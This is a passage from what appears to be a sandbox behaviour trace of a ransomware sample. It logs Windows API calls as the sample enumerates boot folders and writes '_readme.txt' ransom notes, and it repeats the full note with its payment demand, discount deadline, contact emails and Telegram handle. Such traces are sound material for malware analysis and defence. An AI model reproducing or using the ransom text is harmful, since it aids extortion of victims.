e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.615] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dd3b8 [0116.615] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.615] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.615] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.615] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0116.615] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.615] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.615] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.615] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.615] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0116.615] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.615] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.615] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.615] PathFindExtensionW (pszPath="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned=".mui" [0116.615] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3960e70 | out: hHeap=0xd10000) returned 1 [0116.616] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0116.616] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947b58 | out: hHeap=0xd10000) returned 1 [0116.616] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947b58 [0116.616] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.616] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.616] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.617] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.617] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dcb30 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.618] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.618] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dcb30 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f3ef0 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dcb30 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f3ef0 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f3ef0 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.619] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.619] PathFindFileNameW (pszPath="C:\\Boot\\de-DE\\") returned="de-DE\\" [0116.619] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0116.619] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d38 | out: hHeap=0xd10000) returned 1 [0116.620] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.620] PathFindFileNameW (pszPath="") returned="" [0116.620] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75900000 [0116.620] GetProcAddress (hModule=0x75900000, lpProcName="SHGetFolderPathW") returned 0x75985708 [0116.620] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x39f3ef0 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0116.620] FreeLibrary (hLibModule=0x75900000) returned 1 [0116.620] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947cc0 | out: hHeap=0xd10000) returned 1 [0116.620] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f3ef0 | out: hHeap=0xd10000) returned 1 [0116.620] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.620] PathAppendW (in: pszPath="C:\\Boot\\de-DE\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 1 [0116.620] PathFileExistsW (pszPath="C:\\Boot\\de-DE\\_readme.txt") returned 0 [0116.620] lstrcpyW (in: lpString1=0x39f9f20, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf" [0116.620] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237Ihsdf", lpString2="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-JBwR4re7bR\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nvarasto@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\nMark Data Restore\r\n\r\nYour personal ID:\r\n119Asd3768237IhsdfH3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L" [0116.621] CreateFileW (lpFileName="C:\\Boot\\de-DE\\_readme.txt" (normalized: "c:\\boot\\de-de\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0116.621] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dd3b8 | out: hHeap=0xd10000) returned 1 [0116.621] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0116.621] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dcb30 | out: hHeap=0xd10000) returned 1 [0116.621] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.621] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3947d10 | out: hHeap=0xd10000) returned 1 [0116.621] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.621] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, 